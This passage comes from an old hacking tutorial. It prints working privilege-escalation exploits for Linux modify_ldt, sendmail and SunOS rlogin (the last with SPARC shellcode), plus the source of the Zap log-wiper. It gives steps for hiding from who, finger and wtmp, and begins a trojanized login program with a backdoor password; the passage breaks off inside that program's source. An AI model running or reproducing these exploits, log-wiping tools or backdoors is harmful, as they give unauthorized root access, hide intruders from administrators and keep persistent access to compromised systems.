(ofs), "r" (b));&lt;br /&gt;}&lt;br /&gt;/* ------------------------------------------------------------------------ */&lt;br /&gt;void&lt;br /&gt;memgetseg (void *dst, int seg, const void *src, int size)&lt;br /&gt;{&lt;br /&gt;  while (size-- &gt; 0)&lt;br /&gt;    *(char *)dst++ = __farpeek (seg, (unsigned)(src++));&lt;br /&gt;}&lt;br /&gt;/* ------------------------------------------------------------------------ */&lt;br /&gt;void&lt;br /&gt;memputseg (int seg, void *dst, const void *src, int size)&lt;br /&gt;{&lt;br /&gt;  while (size-- &gt; 0)&lt;br /&gt;    __farpoke (seg, (unsigned)(dst++), *(char *)src++);&lt;br /&gt;}&lt;br /&gt;/* ------------------------------------------------------------------------ */&lt;br /&gt;int&lt;br /&gt;main ()&lt;br /&gt;{&lt;br /&gt;  int stat, i,j,k;&lt;br /&gt;  struct modify_ldt_ldt_s ldt_entry;&lt;br /&gt;  FILE *syms;&lt;br /&gt;  char line[100];&lt;br /&gt;  struct task_struct **task, *taskptr, thistask;&lt;br /&gt;  struct kernel_sym blah[4096];&lt;br /&gt;&lt;br /&gt;  printf ("Bogusity checker for modify_ldt system call.\n");&lt;br /&gt;&lt;br /&gt;  printf ("Testing for page-size limit bug...\n");&lt;br /&gt;  ldt_entry.entry_number = 0;&lt;br /&gt;  ldt_entry.base_addr = 0xbfffffff;&lt;br /&gt;  ldt_entry.limit = 0;&lt;br /&gt;  ldt_entry.seg_32bit = 1;&lt;br /&gt;  ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;&lt;br /&gt;  ldt_entry.read_exec_only = 0;&lt;br /&gt;  ldt_entry.limit_in_pages = 1;&lt;br /&gt;  ldt_entry.seg_not_present = 0;&lt;br /&gt;  stat = modify_ldt (1, &amp;ldt_entry, sizeof (ldt_entry));&lt;br /&gt;  if (stat)&lt;br /&gt;    /* Continue after reporting error.  */&lt;br /&gt;    printf ("This bug has been fixed in your kernel.\n");&lt;br /&gt;  else&lt;br /&gt;    {&lt;br /&gt;      printf ("Shit happens: ");&lt;br /&gt;      printf ("0xc0000000 - 0xc0000ffe is accessible.\n");&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  printf ("Testing for expand-down limit bug...\n");&lt;br /&gt;  ldt_entry.base_addr = 0x00000000;&lt;br /&gt;  ldt_entry.limit = 1;&lt;br /&gt;  ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;&lt;br /&gt;  ldt_entry.limit_in_pages = 0;&lt;br /&gt;  stat = modify_ldt (1, &amp;ldt_entry, sizeof (ldt_entry));&lt;br /&gt;  if (stat)&lt;br /&gt;    {&lt;br /&gt;      printf ("This bug has been fixed in your kernel.\n");&lt;br /&gt;      return 1;&lt;br /&gt;    }&lt;br /&gt;  else&lt;br /&gt;    {&lt;br /&gt;      printf ("Shit happens: ");&lt;br /&gt;      printf ("0x00000000 - 0xfffffffd is accessible.\n");&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  i = get_kernel_syms(blah);&lt;br /&gt;  k = i+10;&lt;br /&gt;  for (j=0; j&lt;i; j++) &lt;br /&gt;   if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;&lt;br /&gt;  if (k==i+10) { printf("current not found!!!\n"); return(1); }&lt;br /&gt;  j=k;&lt;br /&gt;&lt;br /&gt;  taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);&lt;br /&gt;  memgetseg (&amp;taskptr, 7, taskptr, sizeof (taskptr));  &lt;br /&gt;  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);&lt;br /&gt;  memgetseg (&amp;thistask, 7, taskptr, sizeof (thistask));  &lt;br /&gt;  if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }&lt;br /&gt;  printf("Current process is %i\n",thistask.pid);&lt;br /&gt;  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);&lt;br /&gt;  memgetseg (&amp;thistask, 7, taskptr, sizeof (thistask));  &lt;br /&gt;  if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }&lt;br /&gt;  printf("Parent process is %i\n",thistask.pid);&lt;br /&gt;  thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;&lt;br /&gt;  thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;&lt;br /&gt;  memputseg (7, taskptr, &amp;thistask, sizeof (thistask));&lt;br /&gt;  printf ("Shit happens: parent process is now root process.\n");&lt;br /&gt;  return 0;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;c.) Other linux versions:&lt;br /&gt;Sendmail exploit:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#/bin/sh&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#                                   Hi !&lt;br /&gt;#                This is exploit for sendmail smtpd bug&lt;br /&gt;#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).&lt;br /&gt;#         This shell script does a root shell in /tmp directory.&lt;br /&gt;#          If you have any problems with it, drop me a letter.&lt;br /&gt;#                                Have fun !&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#                           ----------------------&lt;br /&gt;#               ---------------------------------------------&lt;br /&gt;#    -----------------   Dedicated to my beautiful lady   ------------------&lt;br /&gt;#               ---------------------------------------------&lt;br /&gt;#                           ----------------------&lt;br /&gt;#&lt;br /&gt;#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;echo   'main()                                                '&gt;&gt;leshka.c&lt;br /&gt;echo   '{                                                     '&gt;&gt;leshka.c&lt;br /&gt;echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '&gt;&gt;leshka.c&lt;br /&gt;echo   '}                                                     '&gt;&gt;leshka.c&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;echo   'main()                                                '&gt;&gt;smtpd.c&lt;br /&gt;echo   '{                                                     '&gt;&gt;smtpd.c&lt;br /&gt;echo   '  setuid(0); setgid(0);                               '&gt;&gt;smtpd.c&lt;br /&gt;echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '&gt;&gt;smtpd.c&lt;br /&gt;echo   '}                                                     '&gt;&gt;smtpd.c&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c&lt;br /&gt;./leshka&lt;br /&gt;kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`&lt;br /&gt;rm leshka.c leshka smtpd.c /tmp/smtpd&lt;br /&gt;echo "Now type:   /tmp/sh"&lt;br /&gt;&lt;br /&gt;SUNOS:&lt;br /&gt;Rlogin exploit:&lt;br /&gt;(arghh!)&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;&lt;br /&gt;#define BUF_LENGTH      8200&lt;br /&gt;#define EXTRA           100&lt;br /&gt;#define STACK_OFFSET    4000&lt;br /&gt;#define SPARC_NOP       0xa61cc013&lt;br /&gt;&lt;br /&gt;u_char sparc_shellcode[] =&lt;br /&gt;"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"&lt;br /&gt;"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"&lt;br /&gt;"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"&lt;br /&gt;"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"&lt;br /&gt;"\x82\x10\x20\x3b\x91\xd4\xff\xff";&lt;br /&gt;&lt;br /&gt;u_long get_sp(void)&lt;br /&gt;{&lt;br /&gt;  __asm__("mov %sp,%i0 \n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;  char buf[BUF_LENGTH + EXTRA];&lt;br /&gt;  long targ_addr;&lt;br /&gt;  u_long *long_p;&lt;br /&gt;  u_char *char_p;&lt;br /&gt;  int i, code_length = strlen(sparc_shellcode);&lt;br /&gt;&lt;br /&gt;  long_p = (u_long *) buf;&lt;br /&gt;&lt;br /&gt;  for (i = 0; i &lt; (BUF_LENGTH - code_length) / sizeof(u_long); i++)&lt;br /&gt;    *long_p++ = SPARC_NOP;&lt;br /&gt;&lt;br /&gt;  char_p = (u_char *) long_p;&lt;br /&gt;&lt;br /&gt;  for (i = 0; i &lt; code_length; i++)&lt;br /&gt;    *char_p++ = sparc_shellcode[i];&lt;br /&gt;&lt;br /&gt;  long_p = (u_long *) char_p;&lt;br /&gt;&lt;br /&gt;  targ_addr = get_sp() - STACK_OFFSET;&lt;br /&gt;  for (i = 0; i &lt; EXTRA / sizeof(u_long); i++)&lt;br /&gt;    *long_p++ = targ_addr;&lt;br /&gt;&lt;br /&gt;  printf("Jumping to address 0x%lx\n", targ_addr);&lt;br /&gt;&lt;br /&gt;  execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);&lt;br /&gt;  perror("execl failed");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Want more exploits? Get 'em from other sites (like rootshell,&lt;br /&gt;dhp.com/~fyodor, etc...).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 3: Covering your tracks:&lt;br /&gt;______&lt;br /&gt;&lt;br /&gt;For this you could use lots of programs like zap, utclean, and lots of&lt;br /&gt;others...&lt;br /&gt;Watch out, ALWAYS after you cloaked yourself to see if it worked do a:&lt;br /&gt;victim1:~$ who&lt;br /&gt;...(crap)...&lt;br /&gt;victim1:~$ finger&lt;br /&gt;...;as;;sda...&lt;br /&gt;victim1:~$w&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;If you are still not cloaked, look for wtmpx, utmpx and other stuff like&lt;br /&gt;that. The only cloaker (that I know) that erased me even from wtmpx/utmpx&lt;br /&gt;was utclean. But I don't have it right now, so ZAP'll have to do the job.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;      Title:  Zap.c (c) rokK Industries&lt;br /&gt;   Sequence:  911204.B&lt;br /&gt; &lt;br /&gt;    Syztems:  Kompiles on SunOS 4.+&lt;br /&gt;       Note:  To mask yourself from lastlog and wtmp you need to be root,&lt;br /&gt;              utmp is go+w on default SunOS, but is sometimes removed.&lt;br /&gt;    Kompile:  cc -O Zap.c -o Zap&lt;br /&gt;        Run:  Zap &lt;Username&gt;&lt;br /&gt; &lt;br /&gt;       Desc:  Will Fill the Wtmp and Utmp Entries corresponding to the&lt;br /&gt;              entered Username. It also Zeros out the last login data for&lt;br /&gt;              the specific user, fingering that user will show 'Never Logged&lt;br /&gt;              In'&lt;br /&gt; &lt;br /&gt;      Usage:  If you cant find a usage for this, get a brain.&lt;br /&gt;*/&lt;br /&gt; &lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;utmp.h&gt;&lt;br /&gt;#include &lt;lastlog.h&gt;&lt;br /&gt;#include &lt;pwd.h&gt;&lt;br /&gt; &lt;br /&gt;int f;&lt;br /&gt; &lt;br /&gt;void kill_tmp(name,who)&lt;br /&gt;char *name,&lt;br /&gt;     *who;&lt;br /&gt;{&lt;br /&gt;    struct utmp utmp_ent;&lt;br /&gt; &lt;br /&gt;  if ((f=open(name,O_RDWR))&gt;=0) {&lt;br /&gt;     while(read (f, &amp;utmp_ent, sizeof (utmp_ent))&gt; 0 )&lt;br /&gt;       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {&lt;br /&gt;                 bzero((char *)&amp;utmp_ent,sizeof( utmp_ent ));&lt;br /&gt;                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);&lt;br /&gt;                 write (f, &amp;utmp_ent, sizeof (utmp_ent));&lt;br /&gt;            }&lt;br /&gt;     close(f);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;void kill_lastlog(who)&lt;br /&gt;char *who;&lt;br /&gt;{&lt;br /&gt;    struct passwd *pwd;&lt;br /&gt;    struct lastlog newll;&lt;br /&gt; &lt;br /&gt;     if ((pwd=getpwnam(who))!=NULL) {&lt;br /&gt; &lt;br /&gt;        if ((f=open("/usr/adm/lastlog", O_RDWR)) &gt;= 0) {&lt;br /&gt;            lseek(f, (long)pwd-&gt;pw_uid * sizeof (struct lastlog), 0);&lt;br /&gt;            bzero((char *)&amp;newll,sizeof( newll ));&lt;br /&gt;            write(f, (char *)&amp;newll, sizeof( newll ));&lt;br /&gt;            close(f);&lt;br /&gt;        }&lt;br /&gt; &lt;br /&gt;    } else printf("%s: ?\n",who);&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;main(argc,argv)&lt;br /&gt;int  argc;&lt;br /&gt;char *argv[];&lt;br /&gt;{&lt;br /&gt;    if (argc==2) {&lt;br /&gt;        kill_tmp("/etc/utmp",argv[1]);&lt;br /&gt;        kill_tmp("/usr/adm/wtmp",argv[1]);&lt;br /&gt;        kill_lastlog(argv[1]);&lt;br /&gt;        printf("Zap!\n");&lt;br /&gt;    } else&lt;br /&gt;    printf("Error.\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 4: Keeping that account.&lt;br /&gt;_______&lt;br /&gt;&lt;br /&gt;This usually means that you'll have to install some programs to give you&lt;br /&gt;access even if the root has killed your account...&lt;br /&gt;(DAEMONS!!!) =&gt;|-@&lt;br /&gt; Here is an example of a login daemon from the DemonKit (good job,&lt;br /&gt;fellows...)&lt;br /&gt;LOOK OUT !!! If you decide to put a daemon, be carefull and modify it's date&lt;br /&gt;of creation. (use touch --help to see how!)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;This is a simple trojanized login program, this was designed for Linux&lt;br /&gt;and will not work without modification on linux. It lets you login as&lt;br /&gt;either a root user, or any ordinary user by use of a 'magic password'.&lt;br /&gt;It will also prevent the login from being logged into utmp, wtmp, etc.&lt;br /&gt;You will effectively be invisible, and not be detected except via 'ps'.&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#define BACKDOOR                    "password"&lt;br /&gt;int     krad=0;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* This program is derived from 4.3 BSD software and is&lt;br /&gt;   subject to the copyright notice below.&lt;br /&gt;&lt;br /&gt;   The port to HP-UX has been motivated by the incapability&lt;br /&gt;   of 'rlogin'/'rlogind' as per HP-UX 6.5 (and 7.0) to transfer window sizes.&lt;br /&gt;&lt;br /&gt;   Changes:&lt;br /&gt;&lt;br /&gt;   - General HP-UX portation. Use of facilities not available&lt;br /&gt;     in HP-UX (e.g. setpriority) has been eliminated.&lt;br /&gt;     Utmp/wtmp handling has been ported.&lt;br /&gt;&lt;br /&gt;   - The program uses BSD command line options to be used&lt;br /&gt;     in connection with e.g. 'rlogind' i.e. 'new login'.&lt;br /&gt;&lt;br /&gt;   - HP features left out:          logging of bad login attempts in /etc/btmp,&lt;br /&gt;        they are sent to syslog&lt;br /&gt;&lt;br /&gt;        password expiry&lt;br /&gt;&lt;br /&gt;        '*' as login shell, add it if you need it&lt;br /&gt;&lt;br /&gt;   - BSD features left out:         quota checks&lt;br /&gt;        password expiry&lt;br /&gt;        analysis of terminal type (tset feature)&lt;br /&gt;&lt;br /&gt;   - BSD features thrown in:        Security logging to syslogd.&lt;br /&gt;                                    This requires you to have a (ported) syslog&lt;br /&gt;        system -- 7.0 comes with syslog&lt;br /&gt;        &lt;br /&gt;        'Lastlog' feature.&lt;br /&gt;&lt;br /&gt;   - A lot of nitty gritty details has been adjusted in favour of&lt;br /&gt;     HP-UX, e.g. /etc/securetty, default paths and the environment&lt;br /&gt;     variables assigned by 'login'.&lt;br /&gt;&lt;br /&gt;   - We do *nothing* to setup/alter tty state, under HP-UX this is&lt;br /&gt;     to be done by getty/rlogind/telnetd/some one else.&lt;br /&gt;&lt;br /&gt;   Michael Glad (glad@daimi.dk)&lt;br /&gt;   Computer Science Department&lt;br /&gt;   Aarhus University&lt;br /&gt;   Denmark&lt;br /&gt;&lt;br /&gt;   1990-07-04&lt;br /&gt;&lt;br /&gt;   1991-09-24 glad@daimi.aau.dk: HP-UX 8.0 port:&lt;br /&gt;              - now explictly sets non-blocking mode on descriptors&lt;br /&gt;       - strcasecmp is now part of HP-UX&lt;br /&gt;   1992-02-05 poe@daimi.aau.dk: Ported the stuff to Linux 0.12&lt;br /&gt;   From 1992 till now (1995) this code for Linux has been maintained at&lt;br /&gt;   ftp.daimi.aau.dk:/pub/linux/poe/&lt;br /&gt;*/&lt;br /&gt;   &lt;br /&gt;/*&lt;br /&gt; * Copyright (c) 1980, 1987, 1988 The Regents of the University of California.&lt;br /&gt; * All rights reserved.&lt;br /&gt; *&lt;br /&gt; * Redistribution and use in source and binary forms are permitted&lt;br /&gt; * provided that the above copyright notice and this paragraph are&lt;br /&gt; * duplicated in all such forms and that any documentation,&lt;br /&gt; * advertising materials, and other materials related to such&lt;br /&gt; * distribution and use acknowledge that the software was developed&lt;br /&gt; * by the University of California, Berkeley.  The name of the&lt;br /&gt; * University may not be used to endorse or promote products derived&lt;br /&gt; * from this software without specific prior written permission.&lt;br /&gt; * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR&lt;br /&gt; * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED&lt;br /&gt; * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#ifndef lint&lt;br /&gt;char copyright[] =&lt;br /&gt;"@(#) Copyright (c) 1980, 1987, 1988 The Regents of the University of California.\n\&lt;br /&gt; All rights reserved.\n";&lt;br /&gt;#endif /* not lint */&lt;br /&gt;&lt;br /&gt;#ifndef lint&lt;br /&gt;static char sccsid[] = "@(#)login.c 5.40 (Berkeley) 5/9/89";&lt;br /&gt;#endif /* not lint */&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * login [ name ]&lt;br /&gt; * login -h hostname (for telnetd, etc.)&lt;br /&gt; * login -f name (for pre-authenticated login: datakit, xterm, etc.)&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;/* #define TESTING */&lt;br /&gt;&lt;br /&gt;#ifdef TESTING&lt;br /&gt;#include "param.h"&lt;br /&gt;#else&lt;br /&gt;#include &lt;sys/param.h&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#include &lt;ctype.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;getopt.h&gt;&lt;br /&gt;#include &lt;memory.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;#include &lt;sys/time.h&gt;&lt;br /&gt;#include &lt;sys/resource.h&gt;&lt;br /&gt;#include &lt;sys/file.h&gt;&lt;br /&gt;#include &lt;termios.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#define index strchr&lt;br /&gt;#define rindex strrchr&lt;br /&gt;#include &lt;sys/ioctl.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#include &lt;errno.h&gt;&lt;br /&gt;#include &lt;grp.h&gt;&lt;br /&gt;#include &lt;pwd.h&gt;&lt;br /&gt;#include &lt;setjmp.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;sys/syslog.h&gt;&lt;br /&gt;#include &lt;sys/sysmacros.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;&lt;br /&gt;#ifdef TESTING&lt;br /&gt;#  include "utmp.h"&lt;br /&gt;#else&lt;br /&gt;#  include &lt;utmp.h&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#ifdef SHADOW_PWD&lt;br /&gt;#include &lt;shadow.h&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#ifndef linux&lt;br /&gt;#include &lt;tzfile.h&gt;&lt;br /&gt;#include &lt;lastlog.h&gt;&lt;br /&gt;#else&lt;br /&gt;struct  lastlog&lt;br /&gt;  { long ll_time;&lt;br /&gt;    char ll_line[12];&lt;br /&gt;    char ll_host[16];&lt;br /&gt;  };&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#include "pathnames.h"&lt;br /&gt;&lt;br /&gt;#define P_(s) ()&lt;br /&gt;void opentty P_((const char *tty));&lt;br /&gt;void getloginname P_((void));&lt;br /&gt;void timedout P_((void));&lt;br /&gt;int rootterm P_((char *ttyn));&lt;br /&gt;void motd P_((void));&lt;br /&gt;void sigint P_((void));&lt;br /&gt;void checknologin P_((void));&lt;br /&gt;void dolastlog P_((int quiet));&lt;br /&gt;void badlogin P_((char *name));&lt;br /&gt;char *stypeof P_((char *ttyid));&lt;br /&gt;void checktty P_((char *user, char *tty));&lt;br /&gt;void getstr P_((char *buf, int cnt, char *err));&lt;br /&gt;void sleepexit P_((int eval));&lt;br /&gt;#undef P_&lt;br /&gt;&lt;br /&gt;#ifdef KERBEROS&lt;br /&gt;#include &lt;kerberos/krb.h&gt;&lt;br /&gt;#include &lt;sys/termios.h&gt;&lt;br /&gt;char realm[REALM_SZ];&lt;br /&gt;int kerror = KSUCCESS, notickets = 1;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#ifndef linux&lt;br /&gt;#define TTYGRPNAME "tty"  /* name of group to own ttys */&lt;br /&gt;#else&lt;br /&gt;#  define TTYGRPNAME      "other"&lt;br /&gt;#  ifndef MAXPATHLEN&lt;br /&gt;#    define MAXPATHLEN 1024&lt;br /&gt;#  endif&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * This bounds the time given to login.  Not a define so it can&lt;br /&gt; * be patched on machines where it's too small.&lt;br /&gt; */&lt;br /&gt;#ifndef linux&lt;br /&gt;int timeout = 300;&lt;br /&gt;#else&lt;br /&gt;int     timeout = 60;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;struct passwd *pwd;&lt;br /&gt;int failures;&lt;br /&gt;char term[64], *hostname, *username, *tty;&lt;br /&gt;&lt;br /&gt;char thishost[100];&lt;br /&gt;&lt;br /&gt;#ifndef linux&lt;br /&gt;struct sgttyb sgttyb;&lt;br /&gt;struct tchars tc = {&lt;br /&gt; CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK&lt;br /&gt;};&lt;br /&gt;struct ltchars ltc = {&lt;br /&gt; CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT&lt;br /&gt;};&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;char *months[] =&lt;br /&gt; { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug",&lt;br /&gt;   "Sep", "Oct", "Nov", "Dec" };&lt;br /&gt;&lt;br /&gt;/* provided by Linus Torvalds 16-Feb-93 */&lt;br /&gt;void &lt;br /&gt;opentty(const char * tty)&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;    int fd = open(tty, O_RDWR);&lt;br /&gt;&lt;br /&gt;    for (i = 0 ; i &lt; fd ; i++)&lt;br /&gt;      close(i);&lt;br /&gt;    for (i = 0 ; i &lt; 3 ; i++)&lt;br /&gt;      dup2(fd, i);&lt;br /&gt;    if (fd &gt;= 3)&lt;br /&gt;      close(fd);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main(argc, argv)&lt;br /&gt; int argc;&lt;br /&gt; char **argv;&lt;br /&gt;{&lt;br /&gt; extern int errno, optind;&lt;br /&gt; extern char *optarg, **environ;&lt;br /&gt; struct timeval tp;&lt;br /&gt; struct tm *ttp;&lt;br /&gt; struct group *gr;&lt;br /&gt; register int ch;&lt;br /&gt; register char *p;&lt;br /&gt; int ask, fflag, hflag, pflag, cnt;&lt;br /&gt; int quietlog, passwd_req, ioctlval;&lt;br /&gt; char *domain, *salt, *ttyn, *pp;&lt;br /&gt; char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10];&lt;br /&gt; char *ctime(), *ttyname(), *stypeof();&lt;br /&gt; time_t time();&lt;br /&gt; void timedout();&lt;br /&gt; char *termenv; &lt;br /&gt;&lt;br /&gt;#ifdef linux&lt;br /&gt; char tmp[100];&lt;br /&gt; /* Just as arbitrary as mountain time: */&lt;br /&gt;        /* (void)setenv("TZ", "MET-1DST",0); */&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt; (void)signal(SIGALRM, timedout);&lt;br /&gt; (void)alarm((unsigned int)timeout);&lt;br /&gt; (void)signal(SIGQUIT, SIG_IGN);&lt;br /&gt; (void)signal(SIGINT, SIG_IGN);&lt;br /&gt;&lt;br /&gt; (void)setpriority(PRIO_PROCESS, 0, 0);&lt;br /&gt;#ifdef HAVE_QUOTA&lt;br /&gt; (void)quota(Q_SETUID, 0, 0, 0);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt; /*&lt;br /&gt;  * -p is used by getty to tell login not to destroy the environment&lt;br /&gt;   * -f is used to skip a second login authentication &lt;br /&gt;  * -h is used by other servers to pass the name of the remote&lt;br /&gt;  *    host to login so that it may be placed in utmp and wtmp&lt;br /&gt;  */&lt;br /&gt; (void)gethostname(tbuf, sizeof(tbuf));&lt;br /&gt; (void)strncpy(thishost, tbuf, sizeof(thishost)-1);&lt;br /&gt; domain = index(tbuf, '.');&lt;br /&gt;&lt;br /&gt; fflag = hflag = pflag = 0;&lt;br /&gt; passwd_req = 1;&lt;br /&gt; while ((ch = getopt(argc, argv, "fh:p")) != EOF)&lt;br /&gt;  switch (ch) {&lt;br /&gt;  case 'f':&lt;br /&gt;   fflag = 1;&lt;br /&gt;   break;&lt;br /&gt;&lt;br /&gt;  case 'h':&lt;br /&gt;   if (getuid()) {&lt;br /&gt;    (void)fprintf(stderr,&lt;br /&gt;        "login: -h for super-user only.\n");&lt;br /&gt;    exit(1);&lt;br /&gt;   }&lt;br /&gt;   hflag = 1;&lt;br /&gt;   if (domain &amp;&amp; (p = index(optarg, '.')) &amp;&amp;&lt;br /&gt;       strcasecmp(p, domain) == 0)&lt;br /&gt;    *p = 0;&lt;br /&gt;   hostname = optarg;&lt;br /&gt;   break;&lt;br /&gt;&lt;br /&gt;  case 'p':&lt;br /&gt;   pflag = 1;&lt;br /&gt;   break;&lt;br /&gt;  case '?':&lt;br /&gt;  default:&lt;br /&gt;   (void)fprintf(stderr,&lt;br /&gt;       "usage: login [-fp] [username]\n");&lt;br /&gt;   exit(1);&lt;br /&gt;  }&lt;br /&gt; argc -= optind;&lt;br /&gt; argv += optind;&lt;br /&gt; if (*argv) {&lt;br /&gt;  username = *argv;&lt;br /&gt;  ask = 0;&lt;br /&gt; } else&lt;br /&gt;  ask = 1;&lt;br /&gt;&lt;br /&gt;#ifndef linux&lt;br /&gt; ioctlval = 0;&lt;br /&gt; (void)ioctl(0, TIOCLSET, &amp;ioctlval);&lt;br /&gt; (void)ioctl(0, TIOCNXCL, 0);&lt;br /&gt; (void)fcntl(0, F_SETFL, ioctlval);&lt;br /&gt; (void)ioctl(0, TIOCGETP, &amp;sgttyb);&lt;br /&gt; sgttyb.sg_erase = CERASE;&lt;br /&gt; sgttyb.sg_kill = CKILL;&lt;br /&gt; (void)ioctl(0, TIOCSLTC, &amp;ltc);&lt;br /&gt; (void)ioctl(0, TIOCSETC, &amp;tc);&lt;br /&gt; (void)ioctl(0, TIOCSETP, &amp;sgttyb);&lt;br /&gt;&lt;br /&gt; /*&lt;br /&gt;  * Be sure that we're in&lt;br /&gt;  * blocking mode!!!&lt;br /&gt;  * This is really for HPUX&lt;br /&gt;  */&lt;br /&gt;        ioctlval = 0;&lt;br /&gt;        (void)ioctl(0, FIOSNBIO, &amp;ioctlval);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt; for (cnt = getdtablesize(); cnt &gt; 2; cnt--)&lt;br /&gt;  close(cnt);&lt;br /&gt;&lt;br /&gt; ttyn = ttyname(0);&lt;br /&gt; if (ttyn == NULL || *ttyn == '\0') {&lt;br /&gt;  (void)sprintf(tname, "%s??", _PATH_TTY);&lt;br /&gt;  ttyn = tname;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; setpgrp();&lt;br /&gt;&lt;br /&gt; {&lt;br /&gt;     struct termios tt, ttt;&lt;br /&gt;&lt;br /&gt;     tcgetattr(0, &amp;tt);&lt;br /&gt;     ttt = tt;&lt;br /&gt;     ttt.c_cflag &amp;= ~HUPCL;&lt;br /&gt;&lt;br /&gt;     if((chown(ttyn, 0, 0) == 0) &amp;&amp; (chmod(ttyn, 0622) == 0)) {&lt;br /&gt;  tcsetattr(0,TCSAFLUSH,&amp;ttt);&lt;br /&gt;  signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */&lt;br /&gt;  vhangup();&lt;br /&gt;  signal(SIGHUP, SIG_DFL);&lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;     setsid();&lt;br /&gt;&lt;br /&gt;     /* re-open stdin,stdout,stderr after vhangup() closed them */&lt;br /&gt;     /* if it did, after 0.99.5 it doesn't! */&lt;br 